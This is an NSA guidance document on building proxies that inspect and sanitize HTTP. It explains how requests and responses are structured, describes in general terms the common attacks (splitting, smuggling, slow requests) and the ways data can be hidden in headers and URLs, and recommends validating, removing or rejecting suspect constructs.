U/OO/234038-17

Inspection and Sanitization Guidance for HyperText Transport Protocol (HTTP)

Version 1.1

26 November 2012

National Security Agency
9800 Savage Rd, Suite 6721

Ft. George G. Meade. MD 20755

Authored/Released by:
Unified Cross Domain Capabilities Office

cds_tech@nsa.gov

DOCUMENT REVISION HISTORY

Date	Version	Description
3/27/12	0.1	Initial draft
6/18/12	0.2	Addressed concerns from the CDTF
8/15/12	0.3	Addressed additional comments and made minor edits
10/23/12	1.0 draft	Final draft
11/1/12	1.1 draft	Final draft
11/26/12	1.1 final	Final release
12/13/2017	1.1 final	Updated Contact information, IAC Logo, Cited Trademarks and Copyrights, Expanded Acronyms, and added Legal Disclaimer

EXECUTIVE SUMMARY

This Inspection and Sanitization Guidance (ISG) document provides guidelines and specifications for developing an inspection and sanitization software proxy for the HyperText Transport Protocol (HTTP). HTTP is a stateless, request-response, application-level protocol; it's the foundation of the Web. Clients use it to send requests to servers; servers use it to respond to the clients. It contains rules for caching, for authorizing, and for embedding content. Unfortunately, the HTTP specification is often ambiguous, leaving conflict resolution up to developers, whose solutions are rarely consistent, especially among web browsers. This range of capabilities, coupled with an ambiguous specification, introduces a range of risks. Data can be hidden from users and software. Data can include attacks against servers, clients, and caches. Data can be unintentionally disclosed. HTTP can contain free text, so it must be examined by one or more automated means. HTTP can transport many different types of content, so they must also be examined. Despite the rich variety, the risks associated with HTTP can be minimized.

TABLE OF CONTENTS

LIST OF TABLES

1. SCOPE

1.1. Purpose of this Document

The purpose of this document is to provide guidance for the development of an inspection and sanitization software tool for the HyperText Transport Protocol (HTTP). It introduces the syntax of the protocol and then discusses the components that have data hiding, data attack, and data disclosure risks. This document provides an analysis of these components and recommendations to mitigate their risks.

The intended audience of this document includes system engineers, designers, software developers, and testers who work on inspection and sanitization software (ISS) that processes HTTP.

1.2. Introduction

HTTP is a stateless, request-response, application-level protocol for building distributed, collaborative, hypermedia information systems.[1] It is the foundation of the World Wide Web (WWW).

1.3. Background

The first version of HTTP was "a simple protocol for raw data transfer across the Internet."[2] It was documented as version 0.9 in 1991. The second version added a variety of new features including caching, posting, authentication, and error messages. It was documented as version 1.0 in 1995 as RFC 1945.[3] The third and current version of HTTP also added a variety of new features including connection reuse, compression, support for multiple domain names, and partial resources. It was documented as version 1.1 in 1999 as RFC 2616.[4] There is a current effort (known as HTTPbis) that is working to clarify and revise 1.1.[5]

1.4. Document Organization

This section summarizes the organization of this document.

[1] https://www.w3.org/Protocols/rfc2616/rfc2616.html.
[2] https://www.w3.org/Protocols/rfc2616/rfc2616-sec1.html#sec1.1.
[3] https://www.w3.org/Protocols/HTTP/1.0/spec.html.
[4] https://www.w3.org/Protocols/rfc2616/rfc2616.html.
[5] https://datatracker.ietf.org/wg/httpbis/charter/.

Table 1 – Document Organization

Section	Description
Section 1: Scope	This section describes the purpose, introduction, background, organization, recommendations, and Data Transfer Guidance (DTG) related to this document.
Section 2: Constructs and Taxonomy	This section describes the constructs and taxonomy that are used throughout this document.
Section 3: HTTP Overview	This section describes the structure of HTTP.
Section 4: Common Attacks	This section describes common attacks against HTTP.
Section 5: HTTP Constructs	This section details the HTTP constructs that have risks and the options for mitigation.
Section 6: Acronyms	This section lists the acronyms in this document.
Section 7: Summary of Risks	This section maps each construct to the corresponding specs and risks.

1.5. Recommendations

The following subsections summarize the categories of recommended actions that appear in this document and the associated options.

1.5.1. Actions

Each construct description lists recommended actions for handling the construct when processing a message in the protocol. Generally, inspection and sanitization programs will perform one of these actions on a construct: *Validate*, *Remove*, *Replace*, *External Filtering Required*, *Review*, or *Reject*.

The recommendation section in each construct lists each of these actions and corresponding applicable explanations of the action to take. It notes if a particular action does not apply and indicates actions that are not part of the standard set of actions. For example, a program may choose to reject a message if it cannot inspect it. Additionally, for some constructs, an action may further break down to specific elements of a construct (e.g., for hidden data in a header) to give administrators the flexibility to handle specific elements differently.

Recommendations such as remove and replace alter the contents of the message. It is important to fix issues where references may be broken or may inadvertently corrupt the message such that it cannot be rendered.

NOTE

The recommendations in this document are brief explanations rather than a How-To Guide. Readers should refer to the construct description or official documentation for additional details.

This table summarizes the recommendation actions:

Table 2 – Recommendation Actions

Recommendation Action	Comments
Validate	Verify the data structure's integrity, which may include integrity checks on other components in the message. (This should almost always be a recommended action.)
Replace	Replace the data structure, or one or more of its elements, with values that alleviate the risk (e.g., replacing a user name with a non-identifying, harmless value or substituting a common name for all authors).
Remove	Remove the data structure or one or more of its elements and any other affected parts.
External Filtering Required	Note the data type and pass the data to an external action for handling that data type (e.g., extract text and pass it to a dirty word search).
Review	Present the data structure or its constructs for a human to review. (This should almost always be recommended if the object being inspected can be revised by a human.)
Reject	Reject the message.

NOTE

No recommendations for logging all actions and found data are included here because all activity logging in a file inspection application should occur "at an appropriate level" and presented in a form that a human can analyze further (e.g., the audit information may be stored in any format but must be parsable and provide enough information to address the issue when presented to a human.)

1.5.2. Action Options

The companion to this document, the *Data Transfer Guidance for HTTP*, specifies four options for each recommended action: *Mandatory*, *Recommended*, *Optional*, or *Ignore*.

Depending on the circumstances (e.g., a low to high data transfer versus a classified to unclassified transfer), programs can be configured to handle constructs differently.

This table summarizes the recommendation action options:

Table 3 – Recommendation Action Options

Action Options	Comments
Mandatory	For the given direction (e.g., secure private network to unsecure Internet), the inspection and sanitization program must perform this recommended action.
Recommended	Programs should implement this action if technically feasible.
Optional	Programs may choose to perform or ignore this recommended action.
Ignore	Programs can ignore this construct or data structure entirely

1.6. Data Transfer Guidance

Each format that is documented for inspection and sanitization analysis has a companion document, a Data Transfer Guidance (DTG) document. The DTG serves as a checklist for administrators and others to describe expected behaviors for inspection and sanitization programs. For example, administrators may only remove certain values in a metadata dictionary, or the administrator may decide to remove all hidden data if the document is being transferred to a lower security domain.

The DTG gives the administrator the flexibility to specify behaviors for ISS. The workbook contains a worksheet for each security domain (i.e., the originating domain). Each worksheet lists the numbered constructs from this document and enumerated recommendations in a row. After the recommendations, the worksheet displays a cell for each possible destination domain. This enables an administrator to select the action option for data transfer from the originating domain to the particular destination domain. Each construct row also contains two comment cells, one for low to high transfers and another for high to low transfers.

The recommended actions address three broad risk types: Data hiding, data attack, and data disclosure. Each construct row in the DTG worksheet contains a cell for designating the risk type and another cell for assessing the risk level for that construct (i.e., high, medium and low). This enables administrators to assign the risk type and risk level to each specific construct.

1.7. Document Limitations

This document only covers the HTTP 1.1 protocol. It does not cover earlier versions of HTTP,[6] web caching protocols,[7] protocols that extend HTTP,[8] or the revision of HTTP 1.1, HTTPbis.

1.7.1. Covert Channel Analysis

It is nearly impossible to detect or prevent all covert channels during communication. It is impossible to identify all available covert channels, whether in a file format or a communication protocol. Because they contain free-form text, searching for hidden data becomes increasingly difficult. No tool can possibly analyze every channel, so this document highlights the highest risk areas to reduce or eliminate data spills and malicious content.

Additionally, this document does not discuss steganography within block text or media files, such as a hidden message that is embedded within an innocuous image or paragraph. Separate file format filters that specialize in steganography should be used to handle embedded content, such as text, images, videos, and audio.

1.7.2. Scope

The scope of this document is the HTTP request and status line and the headers. While the constructs may be related to the contents, this document does not cover risks in the various types of content that may be in an HTTP message, such as Hypertext Mark-up Language (HTML), eXtensible Mark-up Language (XML), portable document format (PDF), JPG[9], etc.

1.8. Assumptions

It is assumed that HTTP requests and responses will be inspected as they move from one domain to another in order to minimize risk. It is assumed that, based upon the inspection results, it may be necessary to sanitize or even block requests and responses.

[6] Such as HTTP/0.9 or HTTP/1.0.
[7] Such as Internet Cache Protocol (ICP), Cache Digest Protocol (CDP), Cache Array Resolution Protocol (CARP), or Web Cache Coordination Protocol (WCCP).
[8] Such as SOAP, Web-based Distributed Authoring and Versioning (WebDAV), or Platform for Privacy Preferences (P3P).
[9] JPG (or JPEG) is a commonly used method of lossy compression for digital images. JPEG is an acronym for Joint Photographic Experts Group.

It is assumed that software that inspects, sanitizes, and blocks HTTP requests and responses will function as a proxy; this document refers to such software as an inspection and sanitization software proxy (ISSP).

It is assumed that if the ISSP sits between two networks, it will cause a hard protocol break; that is, the HTTP connection from the transmitting network will terminate at the ISSP, which will inspect and sanitize the message and then construct an entirely new HTTP message, including any allowed content. If the message is not blocked, the ISSP will then open a new connection and transmit the sanitized message.

It is assumed that an ISSP will inspect and then validate HTTP requests and responses based upon the augmented Backus-Naur Form (BNF)[10] provided in the HTTP 1.1 specification. It is assumed that this BNF will be further modified and restricted by the ISSP as necessary. The BNF may be enforced by various means, such as a parser or regular expressions (aka regexes).

[10] BNF refers to Backus-Naur Form, which is a notation for specifying a grammar and is often used to describe the syntax of programming languages and communication protocols (http://en.wikipedia.org/wiki/Backus%E2%80%93Naur_Form).

2. CONSTRUCTS AND TAXONOMY

2.1. Constructs

This document describes many of the constructs used in HTTP, but it does not describe every construct, thus this document is not to be treated as a complete reference. Developers of an ISSP should consult the official documentation alongside this documentation for the full context. For each construct that is mentioned, the following sections exist:

- **Overview:** A high level explanation of the construct.
- **Concerns:** An explanation of potential risks posed by the construct.
- **Product**: The specifications in which the construct is found.
- **Location:** A textual description of where to find the construct in the protocol.
- **Example:** An example of the construct.
- **Recommendations:** Potential mitigation strategies as described in section 1.5.1.

2.2. Taxonomy

The following table describes the terms that appear in this document:

Table 4 – Document Taxonomy

Term	Definition
Construct	An object that represents some form of information or data in the hierarchy of the HTTP message.
DTG	A document that lists all of the ISG constructs and their associated recommendations. DTGs are used to define policies for handling every ISG construct when performing inspection and sanitization.
Inspection and Sanitization	Activities for processing files and protocols to prevent inadvertent data leakage, data exfiltration, and malicious data or code transmission
ISG	A document (such as this) that details a file format or protocol and inspection and sanitization activities for constructs within it.
Recommendations	A series of actions for handling a construct when performing inspection and sanitization activities.

3. HTTP OVERVIEW

3.1. Overview

HTTP is a network protocol. It corresponds to the application layer in various network models; it's layer 7 in the Open Systems Interconnection (OSI) model and layer 5 in the TCP/IP model. It assumes a reliable transport layer, which is typically implemented with TCP/IP.

HTTP is a request-response protocol. A client requests some information, and then the server responds with the information or an error message.

HTTP is a stateless protocol. Each request-response pair is independent from other pairs. Once a connection is closed, HTTP provides no mechanism for the client and server to remember their interaction.[11]

HTTP is a protocol for building systems that are distributed (they communicate over local networks and the Internet) and collaborative (they enable multiple users to work together) and that support hypermedia information (information in text, audio, video, and image format that is connected together). It allows systems to be built independently from the data they transfer.

HTTP is the foundation of the World Wide Web (WWW). Web browsers (such as Internet Explorer®[12], Firefox®[13], and Safari®[14]) use HTTP to communicate to web servers (such as the Apache®[15] HTTP Server and Microsoft's® Internet Information Services [IIS]), which return the content of websites like Facebook®[16], Google®[17], and YouTube™[18].

3.2. Structure of a Request

An HTTP request can have up to five elements, which must appear in this order:

[11] Technologies like cookies, session IDs, and hash-bang URIs are used for this purpose.
[12] Internet Explorer is a registered trademark of Microsoft Corp.
[13] Firefox is a registered trademark of The Mozilla Foundation
[14] Safari is a registered trademark of Apple, Inc.
[15] Apache is a registered trademark of the Apache Software Foundation
[16] Facebook is a registered trademark of Facebook, Inc.
[17] Google is a registered trademark of Google, Inc.
[18] YouTube is a trademark of Google, Inc.

- One request line (followed by a CRLF[19])
- One or more headers (each followed by a CRLF)
- One empty line (i.e., an extra CRLF)
- Zero or more lines of content[20]
- Zero or more trailing headers (each followed by a CRLF)

There is one exception to this structure. If the headers include `Expect: 100-continue`, then the content will be sent in a second, separate request.[21] This means it's possible for lines of content to be sent without a request line or headers.

3.2.1. Request Line

The request line always has three items, and they must appear in this order:

- The request method
- The resource location
- The HTTP version

For example, a request line might look like this:

```
GET / HTTP/1.1
```

There are 8 valid request methods in HTTP 1.1: `GET`, `POST`, `PUT`, `DELETE`, `HEAD`, `TRACE`, `OPTIONS`, and `CONNECT`.

When connecting to the server, the resource location should be a relative path, which can include a query string and/or a fragment. Valid resource locations include:

```
/

/example.html

/example.php?id=123

/example.html#myfragment
```

When connecting to a proxy, the resource location must be an absolute URL:

[19] CRLF refers to Carriage Return Line Feed; it is the end-of-line marker for all elements except the content. See https://www.w3.org/Protocols/rfc2616/rfc2616-sec2.html#sec2.2 and https://www.w3.org/Protocols/rfc2616/rfc2616-sec19.html#sec19.3 for more information.
[20] Aka the message body.
[21] The idea is that the server will inspect the headers, and if it will not or cannot process the contents based upon what it sees in the headers, then there is no need to send the content. This is intended to improve efficiency.

```
http://www.johndoe.com/example.html
```

When used with the `OPTIONS` method, the resource location can be an asterisk ('*'), which indicates all resource locations.

The HTTP version is the string `HTTP/1.1`.

3.2.2. Headers in a Request

An HTTP request has one or more headers, which can be general headers, request headers, and/or entity headers. General headers provide generic information about a message. Request headers provide the information necessary that a server needs to fulfill the request. Entity headers provide information about the content of the message. The only required header is the `Host` header (one of the request headers). Headers can appear in any order.

A header, whether in a request or a response, is comprised of a header name, a colon, a value, and a CRLF.[22]

This sample request has 7 headers:

```
GET /index.html HTTP/1.1
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7
  (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Host: www.example.com
```

A header can span multiple lines if the continuation line begins with a space or a tab, as demonstrated by the `User-Agent` header in the example.

3.2.3. Content

Many requests do not have any content, but if, for example, the client is submitting a form or uploading a file, then it will have content.

3.3. Structure of a Response

An HTTP response can have up to five elements, which must appear in this order:

[22] RFC 2616 doesn't specify a maximum line size. Servers such as Apache®, Tomcat®, Nginx® [1], and IIS are configured to limit the size, thus limiting problems like DoS attacks.

- One status line (followed by a CRLF)
- One or more headers (each followed by a CRLF)
- One empty line (i.e., an extra CRLF)
- Zero or more lines of content
- Zero or more trailing headers (each followed by a CRLF)

3.3.1. Status Line

The status line always has three items, and they must appear in this order:

- The HTTP version
- The status code
- A corresponding description of the status code

For example, a response line might look like this:

```
HTTP/1.1 200 OK
```

The HTTP version should be the string `HTTP/1.1`.

HTTP 1.1 defines a set of status codes, organized into 5 categories:

- The information status codes (100-199) provide non-critical information and never contain any content.
- The success status codes (200-299) indicate that the server received, accepted, and processed the client's request.
- The redirection status codes (300-399) indicate that requested resource is located elsewhere, thus further action will be required by the client.
- The client error status codes (400-499) indicate that the client has done something wrong, and thus the server cannot complete the request.
- The server error status codes (500-599) indicate that there is a problem with the server, and thus it cannot complete the request.

The specification provides a suggested description for each status code, but servers can use any string they want.

3.3.2. Headers in a Response

An HTTP response has one or more headers, which are categorized as either general headers, response headers, and/or entity headers. General headers provide generic information about a message. Response headers provide information unique to the response. Entity headers provide information about the content of the message. Headers can appear in any order.

A header, whether in a request or a response, is comprised of a header name, a colon, a value, and a CRLF.

This sample response has 8 headers (the contents have been modified for simplicity):

```
HTTP/1.1 200 OK
Date: Fri, 20 Jan 2012 14:08:38 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: gws
Content-Length: 15683
Connection: keep-alive
```

3.3.3. Content

Most responses have content.

3.4. Trailing Headers

Both HTTP requests and responses can have trailing headers, which are headers that appear after the content; these are used when header values cannot be known until after the content is created. Trailing headers are only allowed if the content is chunked.[23] The `Transfer-Encoding` header is used to specify that the content is chunked:[24]

```
Transfer-Encoding: chunked
```

When the content is chunked, the last chunk is the number 0 followed by a CRLF.[25] If there are any trailing headers, they will appear after this last chunk. The `Trailer` header should be used to specify the list of trailing headers. If this header is missing, then any trailing headers are considered optional.[26]

After the last trailing header, the message ends with an additional CRLF. For example, the last chunk and two trailing headers might look like this:[27]

[23] https://tools/ietf.org/html/rfc2616#section-3.6.1. See section 3.6.4 for more information on chunked content.
[24] https://tools/ietf.org/html/rfc2616#section-14.41.
[25] https://tools/ietf.org/html/rfc2616#section-3.6.1.
[26] https://tools/ietf.org/html/rfc2616#section-14.13.
[27] Unlike most examples in this ISG, this example explicitly shows the CRLFs for clarity.

```
0<CRLF>
Date: Sun, 06 Nov 1994 08:49:37 GMT<CRLF>
Content-MD5: 1B2M2Y8AsgTpgAmY7PhCfg==<CRLF>
<CRLF>
```

Web browsers do not currently support trailing headers; some servers, such as Tomcat®[28], do.

3.5. Character Encoding

The character encoding of the request line, status line, and headers are US-ASCII.

The character encoding of the contents can be any encoding. The default is ISO-8859-1; other values can be specified in the `Content-Type` header.[29]

```
Content-Type: text/html; charset=UTF-8
```

3.6. Definitions

Knowledge of the following concepts can be helpful when reading this document. Most of these definitions are taken directly from section 1.3 in the specification;[30] other helpful concepts are defined there as well.

3.6.1. Clients and Servers

A **client** is a program that establishes connections for the purpose of sending requests. The client is called a user agent; the most common user agents are web browsers.

A **server** is a program that accepts connections in order to service requests by sending back responses. The server that originates the content is sometimes called the origin server.

A **proxy** is a program that is an intermediary; it acts as both a server and a client for the purpose of making requests on behalf of its clients. It may modify requests and/or responses. Proxies can be used for security and for filtering (e.g., virus checking, adult content removal).[31]

A **gateway** is a program that is an intermediary; it acts on behalf of another server, typically by converting HTTP to some other protocol.

[28] Tomcat is a registered trademark of the Apache Software Foundation
[29] https://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.7.1.
[30] https://www.w3.org/Protocols/rfc2616/rfc2616-sec1.html#sec1.3.
[31] Gourley and Totty, *HTTP: The Definitive Guide*, 18.

3.6.2. Caches

A **cache** is a program that keeps a local copy of requests and responses and controls when and how they can be retrieved. They are typically used to reduce the response time and network bandwidth consumption on future, equivalent requests.

A **proxy cache** is a cache that is part of a proxy; any client that uses this proxy can access this cache. Many corporations, for example, have a proxy cache between their company network and the Internet.

A **client cache** is a cache that is part of a client; only the client program can access this cache. Most web browsers, for example, include a client cache.

A **public cache** (aka shared cache) is a cache whose contents are available to multiple clients; one client retrieves the content initially from the server, then other clients retrieve it subsequently from the cache. Proxy caches are typically public caches.

A **private cache** (aka non-shared cache) is a cache whose contents are only available to one client; only the client that retrieved the initial content from the server can retrieve it subsequently from the cache. Client caches are typically private caches.

3.6.3. Validation and Freshness

Validation is the action of determining whether the contents in a cache are still equivalent to the contents on the origin server.

Contents are considered **fresh** if its age has not yet exceeded its freshness lifetime, the time between its generation and expiration.

Contents are considered **stale** if its age has passed its freshness lifetime.

3.6.4. Chunked

Chunked is a type of transfer encoding where the content is split into pieces (called chunks). Each chunk includes a length and then the content. Chunking is typically used when content is created dynamically and the final length of the content cannot be known until the creation is completed. For example, a form POST results in an SQL query whose results are turned into an HTML table. If the query retrieves hundreds of rows and takes a long time to complete, each row may be returned as its own chunk.

4. COMMON ATTACKS

HTTP is susceptible to a variety of attacks; three of the most common ones are briefly described here.

4.1. HTTP Splitting

HTTP splitting is a type of injection attack where unsanitized user data that includes newline characters cause a single line to split into multiple lines; this can allow an attacker to add new headers or content and/or start a second message. This is typically done with the `Location` and `Cookie` headers, but it could be done with any header. It is often a prelude to other attacks such as cache poisoning or cross-site scripting (XSS). Clients and servers can prevent HTTP splitting by refusing to insert user input into the headers. If this cannot be avoided, it can at least be reduced by carefully sanitizing all carriage-return (CR) and line-feed (LF) characters from user input that is inserted into HTTP headers and by strictly validating the messages.[32]

4.2. HTTP Smuggling

HTTP smuggling is a technique that takes advantage of the fact that ambiguities in the specification have led different servers to implement different parsing algorithms. For example, a request with content should only have one `Content-Length` header. But what happens if it has two, at least one of which does not match the actual length of the content? Some servers process the first; others the second. This makes it possible to "smuggle" data in the unused headers of the message, data that is not validated or processed. Like HTTP splitting, HTTP smuggling is typically a prelude to other attacks such as cache poisoning. It can be reduced by strictly validating all portions of all requests and responses, at times more strictly than the specification itself requires.[33]

4.3. HTTP Slowing

HTTP slowing is a technique that intentionally delivers headers and/or content slowly (or not at all), thus keeping a server busy waiting and unnecessarily consuming connection and memory resources.[34] A successful attack would simply need to open

[32] For examples, see: http://resources.infosecinstitute.com/http-response-splitting-attack/; http://projects.webappsec.org/w/page/13246931/HTTP%20Response%20Splitting; and http://www.owasp.org/images/1/1a/OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.ppt.

[33] For examples, see: http://projects.webappsec.org/w/page/13246928/HTTP%20Request%20Smuggling; and https://www.owasp.org/index.php/HTTP_Request_Smuggling.

[34] A type of DoS attack.

hundreds of slow connections at once to bring down a server. This threat is clever in that it sends comparatively little data to the server, thus it takes few resources to implement and execute, and its attacks look identical to legitimate requests. HTTP slowing can be reduced by carefully configuring the server to terminate (timeout) slow requests.[35]

[35] For sample attack/test tools, see: Slowloris at http://ha.ckers.org/slowloris/; and Slowhttptest at https://community.qualys.com/blogs/securitylabs/2011/08/25/new-open-source-tool-for-slow-http-attack-vulnerabilities.

5. HTTP CONSTRUCTS

This section discusses specific features and risks of HTTP. Each section provides examples and a description as well as recommendations for handling each feature or issue.

5.1. Invalid or Unnecessary Headers

OVERVIEW

One of the guiding principles of the Internet is the robustness principle (aka Postel's law), which says, "Be conservative in what you send, liberal in what you accept." The idea is that software should accept invalid input so long as the meaning is clear. While this principle fosters robustness and interoperability on the Web, it also requires clients and servers to process a lot of non-conforming input. This has the unintended consequence of increasing data hiding and attack risks.

Some headers are not necessary. They provide extra information that may be useful but are not necessary for a request or a response to succeed. The exact set of headers that are unnecessary may vary between contexts.

CONCERNS

Data Hiding – As HTTP clients and servers tend to be liberal in what they accept, there are many data hiding risks in HTTP messages, especially the headers.

Data Attack – Client and servers that allow non-conforming input have historically been shown to be vulnerable to data attacks due to the large number of exceptions that they must handle.

PRODUCT

- HTTP 1.1

LOCATION

Headers are contained in both requests and responses.

EXAMPLE

A header might be invalid—there is no Coordinates header in HTTP—and thus contain sensitive information:

```
Coordinates:  4.442, 78.887
```

A header might be valid yet contain invalid data, which might be sensitive:

```
Accept: This is sensitive info.

From: This is sensitive info.

Server: This is sensitive info.
```

Some headers give information that is not really necessary. The `Server` header, for example, gives information about what type of software the server uses, but this information is not typically necessary:

```
Server: Apache/2.2.3 (CentOS)
```

A request or response might be malformed if it has duplicate headers.[36] If the client only processes the first header, the second will be ignored, and sensitive data is hidden:[37]

```
Location: http://www.intelsystem.mil

Location: http://www.sensitive.com/information/that/is/ignored.html
```

Another example is the presence of duplicate name/value pairs. If the server only processes the first name/value pair, the second will be ignored, and sensitive data is hidden:

```
Content-Type: text/html;charset=UTF-
8;charset=hiddenDataThatIsIgnored
```

Headers can also be used to store large amount of information, the below example is the Base64 encoded the first two stanzas to "Mary Had a Little Lamb"

```
Hidden-File01: begin-base64 644 marylamb.txt
Hidden-File02: TWFyeSBoYWQgYSBsaXR0bGUgbGFtYiwKTGl0dGxlIGxhbWIsIGxpdHRsZSBsYW1iLApNYXJ5IGhh
Hidden-File03: ZCBhIGxpdHRsZSBsYW1iLApJdHMgZmxlZWNlIHdhcyB3aGl0ZSBhcyBzbm93CgpFdmVyeXdoZXJl
Hidden-File04: IHRoYXQgTWFyeSB3ZW50LApNYXJ5IHdlbnQsIE1hcnkgd2VudCwKRXZlcnl3aGVyZSB0aGF0IE1h
Hidden-File05: cnkgd2VudApUaGUgbGFtYiB3YXMgc3VyZSB0byBnbwo=
Hidden-File06: ====
```

RECOMMENDATIONS

01. Validate – Validate all messages including all headers. Verify that every header and value is on the whitelist. If values cannot be whitelisted, use another form of validation, such as regular expressions, to validate them.
02. Remove – Remove all invalid and unnecessary headers
03. Remove – All headers with invalid data.
04. Reject – Reject requests and responses with invalid headers or invalid data.

[36] While some headers are allowed to appear more than once in a message, most are not.
[37] See the section on HTTP Smuggling for more info (4.2).

5.2. Dependencies

OVERVIEW

Some elements within a message have dependencies. For example:

- If a request has an `If-Range` header, then it must also have a `Range` header.
- If the `Proxy-Authenticate` header exists in a response, then the status code of the response must be `407`.
- If a message has the `Connection` header with the value of `Upgrade`, then `Upgrade` header must be present.
- If an `Expect` header is present, it must be in a POST or a PUT request.

Missing dependencies may indicate a mistake on the part of the client or server, and the result may be nothing worse than a failure to send the correct information. But missing dependencies might be intentional and indicate an attempt to craft a malicious message.

CONCERNS

Data Attack – If a message is missing dependencies, then it is a data attack risk.

PRODUCT

- HTTP 1.1

LOCATION

Any part of a request or response can have dependencies.

RECOMMENDATIONS

01. Validate – Validate all requests and responses using the augmented BNF provided in the HTTP 1.1 specification. Modify and restrict the BNF as necessary.
02. Reject – Reject all requests and responses with missing dependencies.

5.3. Corresponding Responses

OVERVIEW

HTTP is a request-response protocol. Each request has a corresponding response, thus there should not be a response for which there is no corresponding request. Additionally some responses can only respond to certain types of requests.

CONCERNS

Data Hiding – If there is a response for which there was no request or if there is a response to the wrong type of request, then there is a data hiding risk.

PRODUCT

- HTTP 1.1

EXAMPLE

If there is a `201` response that indicates a file was created and includes a file location, but there is no corresponding request, then the response could be an attempt to pass hidden data.

```
HTTP/1.1 201 Created

Location: http://www.sensitiveUrl.mil/of/secret/military/resource
```

If there is a `101` response that indicates that the server is willing to switch to a new protocol, but there is no corresponding request with an `Upgrade` header that is asking to switch to a new protocol, then the response could be an attempt to pass hidden data.

```
HTTP/1.1 101 Switching Protocols
```

RECOMMENDATIONS

01. Validate – Validate that all responses have a corresponding request.
02. Validate – Validate that all responses contain the required headers of the request, and that all requests contain the required headers for the response.
03. Reject – Reject all responses that do not contain a corresponding request.

5.4. Contents

OVERVIEW

Requests and responses can have content, which can be of many different formats. It could be text (such as a query string or HTML), a file (formatted as Word, PDF, audio, or an image) or MIME-encoded data.

CONCERNS

Any type of content brings with it all the risks associated with that type of content. Discussing all the risks of all possible content types is beyond the scope of this document; if possible, refer to other guidance documents that correspond to the content type.

PRODUCT

- HTTP 1.1

LOCATION

The content is after the headers and before any trailing headers.

RECOMMENDATIONS

01. External Filtering Required – Extract the content and send it to an external filter.

5.5. Any Header With A URL

OVERVIEW

Some headers contain a URL.

- The `Content-Location` header allows a server to tell a client that it has returned the requested content, but that content was found at a different location than the one requested. This is typically used when a resource has multiple representations (e.g., one in English, one in French, one in German, etc.) and one of the request headers indicates a preference for one of the representations (e.g., the `Host` header pointed to the English representation, but the `Accept-Language` header indicates a preference for the French version).

- The `Host` header is the URL of the server that the request is being sent to. If a request is sent to a proxy, then the request line will have an absolute URL, which should be the same URL in the `Host` header. If they are different, the URL in the request line has precedence.[38]
- The `Location` header is an absolute URL that the server is providing for the client.[39]
- The `Referer` header—yes, that's a typo, and it is part of the specification—lists the request origin. It is used to track how clients find a server and to prevent cross-site request forgeries, but it is not reliable for either because it can easily be disabled or spoofed. If privacy is a concern, then this header might reveal the URL of a server that should remain hidden.[40]

If a URL includes a reserved character and it has a special meaning, the character is percent-encoded (aka URL-encoded). URLs should not include percent-encoded unreserved characters, as they are semantically equivalent whether encoded or not. But if a URL does contain such characters, clients and servers may not be able to recognize and process them; this could be a data hiding risk.

URLs can have a query string; query strings are discussed in section 5.6.

CONCERNS

Data Hiding – If the length of the resource is not restricted, then it can be used to hide data. If unreserved characters are percent-encoded, then they can be used to hide data. If the URL in the request line does not equal the URL in the `Host` header, then the `Host` header can be used to hide data.

Data Attack – If the URL in the request line does not equal the URL in the `Host` header, then the `Host` header could be used for a data attack (e.g., HTTP smuggling).

Data Disclosure – If a server reveals a sensitive URL, it is a data disclosure risk.

PRODUCT

- HTTP 1.1

LOCATION

[38] This is a situation where the specification, ironically, requires applications to ignore a mandatory header. See https://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html#sec5.2.
[39] See the section titled "Location" for more info.
[40] https://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html#sec15.1.2.

`Content-Location` is an entity header that can be in a request or a response. `Host` is a header in a request. `Location` is a header in a response. `Referer` is a header in a request.

EXAMPLE

Here's an example of the `Content-Location` header:

```
Content-Location: http://www.example.com/guidelines.fr.html
```

Here is an example of the `Referer` header:

```
Referer: http://www.google.com
```

The URL for any of these headers can be a very long path:

```
Location: http://www.example.com/here/is/some/really/sensitive/data/
that/I/am/passing/to/you/through/this/path/index.html
```

The URL for any of these headers could be sensitive:

```
Content-Location: http://www.sensitiveserver.gov/guidelines.fr.html
```

The first URL contains a percent-encoded tilde ('~'), which is an unreserved character; it is semantically equivalent to the second:

```
http://www.example.com/%7Ejohndoe/index.htm
http://www.example.com/~johndoe/index.htm
```

RECOMMENDATIONS

01. Validate – Validate that the location is on a whitelist of non-sensitive URLs.
02. Replace – For the `Referer` header only, replace the header with a fake or generic URL.
03. Replace – Replace percent-encoded unreserved characters with the character itself (e.g., replace %7E with ~).
04. Replace – If the URL in the request line is an absolute URL, and if the URL in the `Host` header does match the host of the URL in the request line, replace the `Host` header with the host of the URL in the request line.
05. Remove – For the `Referer` header only, remove this header.
06. Remove – The length of the path should be restricted[41] to reduce data hiding. Remove any characters that exceed the limit.
07. External Filtering Required – Extract the URL and send it to an external filter.
08. Reject – Reject a message with a long or invalid (e.g., improperly formatted) location.

[41] Although the specification does not require a limit, it warns against paths greater than 255 bytes. Internet Explorer allows just over 2000 characters, and other browsers allow even more.

5.6. Any URL with a Query String

OVERVIEW

A query string is data that is post-pended to a URL and passed to or from a web application. Each query string consists of a set of parameters, and each parameter is a field and optionally a value.

A value can contain characters that not allowed in a query string. For example, if the field is `name`, and value is `John Doe`, there's a blank space between `John` and `Doe`, but spaces are not allowed in URLs. Such data is commonly URL encoded before becoming part of the query string; this encoding escapes special characters, thus the URL will have to be URL decoded before validation.[42]

CONCERNS

Data Hiding – As any field and value can be included in a query string, it is a data hiding risk.

PRODUCT

- HTTP 1.1

LOCATION

A query string can be found in any URL.

EXAMPLE

A query string containing a user's name and age might look like this:

```
http://www.example.com?firstname=John&lastname=Doe&age=50
```

The first parameter is `firstname=John`. The field is `firstname` and the value is `John`.

If a URL is being returned by a server, it might include sensitive information, such as a username or password:

```
http://www.example.com?username=jdoe&password=sekret123
```

